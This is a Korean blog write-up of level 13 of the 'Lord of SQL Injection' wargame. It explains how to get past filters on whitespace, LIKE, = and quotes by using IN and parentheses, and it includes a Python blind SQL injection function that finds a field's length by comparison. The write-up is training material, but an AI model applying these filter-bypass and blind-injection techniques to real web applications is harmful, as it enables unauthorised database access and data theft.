Lord Of Sql injection
LOS 13번 BUGBEAR
Dork94
2019. 1. 12. 06:58
갈수록 문제가 괴랄해지는 느낌..!
이번엔 White space뿐만 아니라 LIKE도 막혔네요...
대체제를 찾아봐야겠어요..
id가 admin인걸 찾아야하는데 LIKE도 안되고 =는 물론 '도 되지 않기 때문에 https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html 여기서 쓸만한 친구가 있나 찾아봤습니다.
그래서 in을 사용하기로 했어요!
그리고 whitespace를 이용해 구분을 해야하는데.. 왠지 ()를 이용해 감싸면 될 것 같은 느낌이라 해줬는데 잘 동작하네요!
따라서 아래와 같이 pwning_url을 작성했습니다 :)
그리고...
소스코드 재탕좀 해먹으려했더니 또 고쳐야겠네요.
2019/01/12 - [Lord Of Sql injection] - LOS 12번에서 이전에 사용했던 소스코드를 사용하려하니 length에서 값 비교를 위해 사용한 LIKE가 걸리네요.. 이걸 조금 수정해서 대소 비교를 통해 알아보도록 하겠습니다 :)
def get_length(pwning_url, field, add_comment, login_cookies): length = 1 while True: print('Trying to get length of {0} by length {1}'.format(field, length)) url = pwning_url + ' length({0}) > {1} {2} '.format(field, length, '%23' if add_comment else '') # remove white space url = url.replace(' ', '') res = requests.get(url, cookies=login_cookies) soup = BeautifulSoup(res.text, 'html.parser') h2s = soup.find_all('h2') if not h2s: return length length += 1
이전코드에서 pw를 구하는 loop query에는 문제가 없었으므로 length를 구하는 부분만 수정해 주었습니다 :)
그러고 돌리니까 정상 동작하네요!
꿀리어!